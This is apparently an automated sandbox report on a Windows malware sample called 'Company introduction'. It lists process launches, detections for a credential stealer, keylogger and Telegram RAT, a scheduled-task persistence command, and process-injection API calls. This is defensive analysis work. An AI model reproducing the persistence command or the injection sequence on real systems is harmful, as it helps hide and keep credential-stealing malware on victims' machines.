MD5 hash:	10F72E53A2C9F106093C233B56A3A819
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.1759032801.0000000004264000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000007.00000002.1759032801.0000000004264000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000007.00000002.1759032801.0000000004264000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000007.00000002.1759032801.0000000004264000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.1759032801.0000000004405000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000007.00000002.1759032801.0000000004405000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000007.00000002.1759032801.0000000004405000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000007.00000002.1759032801.0000000004405000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs Detection: 29%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:39:03
Start date:	15/01/2025
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:39:03
Start date:	15/01/2025
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FzXKnGk" /XML "C:\Users\user\AppData\Local\Temp\tmpEF32.tmp"
Imagebase:	0xb00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:39:03
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:39:04
Start date:	15/01/2025
Path:	C:\Users\user\AppData\Roaming\FzXKnGk.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\FzXKnGk.exe"
Imagebase:	0x1d0000
File size:	854'528 bytes
MD5 hash:	10F72E53A2C9F106093C233B56A3A819
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	02:39:04
Start date:	15/01/2025
Path:	C:\Users\user\AppData\Roaming\FzXKnGk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\FzXKnGk.exe"
Imagebase:	0xed0000
File size:	854'528 bytes
MD5 hash:	10F72E53A2C9F106093C233B56A3A819
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.2937919242.000000000042F000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000C.00000002.2937919242.000000000042F000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000C.00000002.2937919242.000000000042F000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000C.00000002.2937919242.000000000042F000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000C.00000002.2940815636.0000000003341000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.2940815636.000000000344C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	12.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3.9%
Total number of Nodes:	232
Total number of Limit Nodes:	12

Executed Functions

Function 014B4208 Relevance: 3.1, Strings: 2, Instructions: 588
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Pp^q, xrefs: 014B807B
d, xrefs: 014B8702

Memory Dump Source

Source File: 00000000.00000002.1731566834.00000000014B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14b0000_Company introduction.jbxd

Similarity

API ID:
String ID: Pp^q$d
API String ID: 0-2169010058
Opcode ID: 3925614c5186458ca8fd4ae210988a0f98b12c90d939f89cc94ad6718a8e86b4
Instruction ID: 3b70357d44bd038a75ab9b322fbab62d6d1acd61682967fb1c151a4583cf1876
Opcode Fuzzy Hash: 3925614c5186458ca8fd4ae210988a0f98b12c90d939f89cc94ad6718a8e86b4
Instruction Fuzzy Hash: 7E62D174A00229CFCB65DF68C994AD9BBB1FF99300F0085E9D549A7364DB30AE95CF90

Function 014B7D63 Relevance: 3.1, Strings: 2, Instructions: 581
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Pp^q, xrefs: 014B807B
d, xrefs: 014B8702

Memory Dump Source

Source File: 00000000.00000002.1731566834.00000000014B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14b0000_Company introduction.jbxd

Similarity

API ID:
String ID: Pp^q$d
API String ID: 0-2169010058
Opcode ID: a7b8abec283c9e109d24563cddcf2d8205cbd3dac4d6063e20bbc62c189324b4
Instruction ID: 7349dc52c04d833da14d79afd4b28ef4cb656a29bc8269fb92376e5dc92c77fb
Opcode Fuzzy Hash: a7b8abec283c9e109d24563cddcf2d8205cbd3dac4d6063e20bbc62c189324b4
Instruction Fuzzy Hash: A362D074A00229CFCB25DF68C994AD9BBB1FF99300F0085EAD549A7365DB30AE95CF50

Function 014B4224 Relevance: 3.1, Strings: 2, Instructions: 579
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Pp^q, xrefs: 014B807B
d, xrefs: 014B8702

Memory Dump Source

Source File: 00000000.00000002.1731566834.00000000014B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14b0000_Company introduction.jbxd

Similarity

API ID:
String ID: Pp^q$d
API String ID: 0-2169010058
Opcode ID: a2fddfc72944203c132fbab37c596b4390c642b18dcb9d2f1afdfac2da0d968e
Instruction ID: baaec17d604cb58e9fc1cd69eee14a9397f4107095d629a1fcfb39022de35b31
Opcode Fuzzy Hash: a2fddfc72944203c132fbab37c596b4390c642b18dcb9d2f1afdfac2da0d968e
Instruction Fuzzy Hash: 7252D074A00229CFCB65DF68C994AD9BBB2FF99300F0085E9D549A7364DB30AE95CF50

Function 014B7D99 Relevance: 3.1, Strings: 2, Instructions: 579
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Pp^q, xrefs: 014B807B
d, xrefs: 014B8702

Memory Dump Source

Source File: 00000000.00000002.1731566834.00000000014B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14b0000_Company introduction.jbxd

Similarity

API ID:
String ID: Pp^q$d
API String ID: 0-2169010058
Opcode ID: 53dd89ad3f6f3caae304369bdff97ca0d2fa2f44d0058ff6cc928c099c62552d
Instruction ID: 540f10692913aea09d18421d28dc7b4bbe25657aac62dc01a39bffd1dc792be8
Opcode Fuzzy Hash: 53dd89ad3f6f3caae304369bdff97ca0d2fa2f44d0058ff6cc928c099c62552d
Instruction Fuzzy Hash: 4F62D074A00229CFCB65DF68C984AD9BBB2FF99300F0085E9D549A7364DB70AE95CF50

Function 07AE407A Relevance: 1.5, Strings: 1, Instructions: 251COMMON

Download Yara Rule

Strings

5{, xrefs: 07AE4272

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID: 5{
API String ID: 0-2291050889
Opcode ID: f119d799eb5b3fefc719cb06b7248bfb5239311b02301375536747053e60774f
Instruction ID: 6ab407390130918ca571287db68b675844ecbb338b0b0484b63f3e792befeb5f
Opcode Fuzzy Hash: f119d799eb5b3fefc719cb06b7248bfb5239311b02301375536747053e60774f
Instruction Fuzzy Hash: 05B16874E01209DFCB04DFE9D5854AEBBB6FF89300F20956AE815AB364DB349902CF65

Function 07AE4088 Relevance: 1.5, Strings: 1, Instructions: 246COMMON

Download Yara Rule

Strings

5{, xrefs: 07AE4272

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID: 5{
API String ID: 0-2291050889
Opcode ID: 0715ef34f9cd8e714a1101060c5708612865c858b5214f2f0aa53003aad00ec5
Instruction ID: 29efeb4a86ad26a0825b61942995cbe912d591bc6ea022e502be64e3b36ddaa5
Opcode Fuzzy Hash: 0715ef34f9cd8e714a1101060c5708612865c858b5214f2f0aa53003aad00ec5
Instruction Fuzzy Hash: 24A14874E01209DFCB04DFE9D5854AEBBB6FF89300F20946AE416AB364DB349902CF65

Function 07AE5B22 Relevance: 1.5, Strings: 1, Instructions: 209COMMON

Download Yara Rule

Strings

j4$y, xrefs: 07AE5D46

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID: j4$y
API String ID: 0-2391584009
Opcode ID: b8ae88092703768aa52995c07a49db7a18dbc48b4f0d1426c86381eabff7868b
Instruction ID: d1aba13e59374485c362ba80adac6e56d8ff0c9147def6668192c576e3d13c1d
Opcode Fuzzy Hash: b8ae88092703768aa52995c07a49db7a18dbc48b4f0d1426c86381eabff7868b
Instruction Fuzzy Hash: E9813BB1D15209DFDB08CFE5E98089EFBB6FF89314F10942AE415AB264E7349956CF00

Function 07AE5B30 Relevance: 1.5, Strings: 1, Instructions: 208COMMON

Download Yara Rule

Strings

j4$y, xrefs: 07AE5D46

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID: j4$y
API String ID: 0-2391584009
Opcode ID: 7bd65c0f8dd2655b66a24772c2e03d81c73378c5c6e74c4c436e70d43206acb1
Instruction ID: 79c7506aee89740802a3192c74a01ee32ae0063b1592af4e8dfe0226b2471cdb
Opcode Fuzzy Hash: 7bd65c0f8dd2655b66a24772c2e03d81c73378c5c6e74c4c436e70d43206acb1
Instruction Fuzzy Hash: 9D8109B1D15209DFDB08CFE6E98089EFBB6EF89314F10942AE415AB264E7349952CF40

Function 07E95F00 Relevance: .4, Instructions: 396COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739483945.0000000007E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7e90000_Company introduction.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe697affcc24467f480d98093580383429e0e816650e79c8cd14b21050a68bfb
Instruction ID: f30c12e3370127a1611570ce9571ecdd84444794996c22ac04b0590012b57f81
Opcode Fuzzy Hash: fe697affcc24467f480d98093580383429e0e816650e79c8cd14b21050a68bfb
Instruction Fuzzy Hash: 2DE1C1B2B022058FDB25DB7AC490BAEB7F6AF89704F14447ED1469B3A0DB35E841C761

Function 07AE44B8 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1802c0dae7cdbf063d712fbd0a94bcf9c894facb65898964bcccd0423698549c
Instruction ID: 5ae871af06787e27230b19ed4f5b7fe7ee5fb8306a025f4a6ec5dfa75e534176
Opcode Fuzzy Hash: 1802c0dae7cdbf063d712fbd0a94bcf9c894facb65898964bcccd0423698549c
Instruction Fuzzy Hash: 30612BB4E152099FCB04CFA5D9455AEBFB6FF89300F14A42AE526E7364DB748A01CF60

Function 07AE44C8 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 646611f0673a49027f1f7df47e921dadc38117616b64ce4f9b81f6835caaa859
Instruction ID: 7476856c18f0fb6404d0f7817d569ab98ac29bb0bdb538e474dafec1ce0693e1
Opcode Fuzzy Hash: 646611f0673a49027f1f7df47e921dadc38117616b64ce4f9b81f6835caaa859
Instruction Fuzzy Hash: 99510AB4E152099FCB04CFA5D5454AEFBB6FB89300F10A82AE526E7364DB749901CF54

Function 07AE05B0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b25a15d9eb5785e2ef33c6bc5fa359ffcc5c49b2e730ed77eb32725e4f34749c
Instruction ID: 815b2967e5deef91167fc6a3730151c720c216647005cb0d839f4e252128df60
Opcode Fuzzy Hash: b25a15d9eb5785e2ef33c6bc5fa359ffcc5c49b2e730ed77eb32725e4f34749c
Instruction Fuzzy Hash: 6231F871E012188BDB58CFA6D84469EBBB7EFC8310F14C0A9E409AA354DB715A85CF40

Function 07AE05A0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a02d52ef17ee2698b2c0d10f764e0be5cf221516ba1c2fc84f9ce30114160d3d
Instruction ID: 0de19d20614578c76218ef495345153b1dfd63f092a2178d8369e0f4233bef1d
Opcode Fuzzy Hash: a02d52ef17ee2698b2c0d10f764e0be5cf221516ba1c2fc84f9ce30114160d3d
Instruction Fuzzy Hash: F921FCB0E016588BDB58CFABD9446DEBFF3AFC9310F14C1BAD408AA269DA740945CF51

Function 07E93F5E Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739483945.0000000007E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7e90000_Company introduction.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c8e64f9da0c628b23d58ff387d5779d2478706888f24257d939efcc63f6fe44
Instruction ID: 6a59181cc1ffdbcfaef36ef192bfd37cfa46be1d8a476387cc3f489fe993cdb5
Opcode Fuzzy Hash: 0c8e64f9da0c628b23d58ff387d5779d2478706888f24257d939efcc63f6fe44
Instruction Fuzzy Hash: E9D092F6C1F15ACACF108F189441AF9A2B8A70F301F0039A5D51EA2182D37089A28A09

Function 014BE800 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 014BE87E
GetCurrentThread.KERNEL32 ref: 014BE8BB
GetCurrentProcess.KERNEL32 ref: 014BE8F8
GetCurrentThreadId.KERNEL32 ref: 014BE951

Memory Dump Source

Source File: 00000000.00000002.1731566834.00000000014B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14b0000_Company introduction.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 7634de1b17c406578a0905cd836624e11ca055dec04d9f6f4eeeea3a6068a797
Instruction ID: 6cf2525f8051144b5c638e283da8afeaefa5fe29e0ae4ad15174ad342ec1fe1b
Opcode Fuzzy Hash: 7634de1b17c406578a0905cd836624e11ca055dec04d9f6f4eeeea3a6068a797
Instruction Fuzzy Hash: 895135B09006498FDB18DFAAD588BDEBBF1AB88314F208469D419A7360D7349984CF65

Function 07E90BBA Relevance: 1.7, APIs: 1, Instructions: 245
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 07E90DF6

Memory Dump Source

Source File: 00000000.00000002.1739483945.0000000007E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7e90000_Company introduction.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 98107dcb801fcc5713ecc978daffc9da5325a90056d9d36426bb8c28860777fd
Instruction ID: 5c414bebac39048f9ca6a68e4ab6e8ac71578ae39fc9c782e7460c0dd742811a
Opcode Fuzzy Hash: 98107dcb801fcc5713ecc978daffc9da5325a90056d9d36426bb8c28860777fd
Instruction Fuzzy Hash: D7915CB2D0121ADFDF20CF69C8417DDBBB2BF48314F5485AAE809A7250DB749985CF92

Function 07E90BC0 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 07E90DF6

Memory Dump Source

Source File: 00000000.00000002.1739483945.0000000007E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7e90000_Company introduction.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 4729a35ec6274b5eaf6588b502dfaad1479f88aee70e660e6f44119ef735f1f7
Instruction ID: 6b40241be75466165d654522eab4b5285532c923875a5daa00d41ea79b984640
Opcode Fuzzy Hash: 4729a35ec6274b5eaf6588b502dfaad1479f88aee70e660e6f44119ef735f1f7
Instruction Fuzzy Hash: 07915CB2D0121ADFDF20CF69C8407DDBBB2BF48314F5485A9E809A7250DB749985CF92

Function 014B5D94 Relevance: 1.6, APIs: 1, Instructions: 98COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 014B5E51

Memory Dump Source

Source File: 00000000.00000002.1731566834.00000000014B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14b0000_Company introduction.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 47a73b7689cd188e2f5f502c2894301e4e27969db15226faf524462c560920d4
Instruction ID: 9e419ed9a3f731c3a55a3c27faeca5a531e9928f8e5b26dfd8cbea45ddb3431f
Opcode Fuzzy Hash: 47a73b7689cd188e2f5f502c2894301e4e27969db15226faf524462c560920d4
Instruction Fuzzy Hash: E341B2B0C00619CFDB24DFA9C984BDEFBB5BF48314F24816AD408AB265DB756946CF90

Function 014B4524 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 014B5E51

Memory Dump Source

Source File: 00000000.00000002.1731566834.00000000014B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14b0000_Company introduction.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 2948b670b2d83bc8bd4b13b77cbc039a5e1c93350b10fd75085b8a6c12f66ea9
Instruction ID: 89be1394a15c7da91a6523cc4e636fd495fdaa871536ecd787ec28d07f89e07a
Opcode Fuzzy Hash: 2948b670b2d83bc8bd4b13b77cbc039a5e1c93350b10fd75085b8a6c12f66ea9
Instruction Fuzzy Hash: 0341D2B0C00619CFDB24DFA9C9847DEFBB5BF49304F24806AD408AB265DB756946CF90

Function 07E90930 Relevance: 1.6, APIs: 1, Instructions: 72injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 07E909C8

Memory Dump Source

Source File: 00000000.00000002.1739483945.0000000007E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7e90000_Company introduction.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: f056806b6db1a59b91881a98a9b30fe5dd70e74b1ab87748d81cff28eee3088b
Instruction ID: 7b88b1b2cc4e867b769a995aa1b3b0398f21240c85a027cfda9d347f2bc64eb7
Opcode Fuzzy Hash: f056806b6db1a59b91881a98a9b30fe5dd70e74b1ab87748d81cff28eee3088b
Instruction Fuzzy Hash: A82148B2900359DFDB10CFA9C841BDEBBF5FF48324F50842AE558A7250C7789995CBA4

Function 07AEFCE8 Relevance: 1.6, APIs: 1, Instructions: 69threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07AEFD6E

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 5cf238a32cb4be74f1d03cfcb45109694c08f6a4b652e7204953e4558b22f448
Instruction ID: b473aaf32c63627921e30a3a6d0dd2e26d9ed281799e7ab5d3a1bb8e47ec6347
Opcode Fuzzy Hash: 5cf238a32cb4be74f1d03cfcb45109694c08f6a4b652e7204953e4558b22f448
Instruction Fuzzy Hash: B52139B19002499FDB10DFAAC4857EEBFF4EB88324F10842AD459A7640CB789985CFA5

Function 07E90938 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 07E909C8

Memory Dump Source

Source File: 00000000.00000002.1739483945.0000000007E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7e90000_Company introduction.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: db59fefc339154c67f386d2014d759d06a68f7907702112518ac595469d7d031
Instruction ID: 8c4f0b613d7e078cf702d8e592c2e4c8e56f5758ba761e5e7efec4ff30d3f1f3
Opcode Fuzzy Hash: db59fefc339154c67f386d2014d759d06a68f7907702112518ac595469d7d031
Instruction Fuzzy Hash: 5D2126B2900359DFDB10DFA9C885BDEBBF5FF88314F10842AE958A7250C7789945CBA4

Function 07E90A22 Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 07E90AA8

Memory Dump Source

Source File: 00000000.00000002.1739483945.0000000007E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7e90000_Company introduction.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 43074a7dd36cd91781dfbde1f9f96bbd97630d603e74b0fadb43d1dadb247c57
Instruction ID: 1e2bb87c685ce08f9c3852b4d00376d93fae7754d22f3ca3bcd8beb2dafbf12c
Opcode Fuzzy Hash: 43074a7dd36cd91781dfbde1f9f96bbd97630d603e74b0fadb43d1dadb247c57
Instruction Fuzzy Hash: 50214AB29003599FCB10CFAAD841AEEFBF5FF48320F50842AE958A7250C7759545CBA5

Function 07AEFCF0 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07AEFD6E

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: a2d6496dd587c142b97b4a76ea211688bd173d3cc439b67dafa8845dd64f0dea
Instruction ID: b8c6f64a529a711683af490a40ea04207b76c841335dddf8f87f3d76b3cd6bb4
Opcode Fuzzy Hash: a2d6496dd587c142b97b4a76ea211688bd173d3cc439b67dafa8845dd64f0dea
Instruction Fuzzy Hash: E02138B19002098FDB10DFAAC4857EEBBF4EF88324F108429D459A7240C7789945CFA4

Function 07E90A28 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 07E90AA8

Memory Dump Source

Source File: 00000000.00000002.1739483945.0000000007E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7e90000_Company introduction.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 36a7056ec37f984e536ab59e9e2e0adb5e1e1292bbf43e20696278218d807c8d
Instruction ID: c4cae77834a00c009541bf0bf7e0d94a96cfc363e1a6c97965a4af2c1a88d148
Opcode Fuzzy Hash: 36a7056ec37f984e536ab59e9e2e0adb5e1e1292bbf43e20696278218d807c8d
Instruction Fuzzy Hash: FD2139B1800359DFCB10DFAAC845ADEFBF5FF48310F508429E558A7250C7749545CBA4

Function 014BEA48 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 014BEACF

Memory Dump Source

Source File: 00000000.00000002.1731566834.00000000014B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14b0000_Company introduction.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 613b84adaea0d8a3dffae35e259926db589de217d1762147cb1f0a452846c5c0
Instruction ID: a1714f3315a6be406522ae6c27bf92721c0ef232643752cd65792f3a6e438c3e
Opcode Fuzzy Hash: 613b84adaea0d8a3dffae35e259926db589de217d1762147cb1f0a452846c5c0
Instruction Fuzzy Hash: 9921C4B59002589FDB10CF9AD584ADEBFF9FB48310F14841AE954A7350D374A944CFA5

Function 07E90470 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 07E904E6

Memory Dump Source

Source File: 00000000.00000002.1739483945.0000000007E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7e90000_Company introduction.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 001a59545b47184f1a73de31dded212e8dab2005aa06a3ee1c78ed425eabed52
Instruction ID: 3de2e9fcb0d03e6335ad08575d15ee20a19e9adcb7b4d7b1bde558dfdc98f0d1
Opcode Fuzzy Hash: 001a59545b47184f1a73de31dded212e8dab2005aa06a3ee1c78ed425eabed52
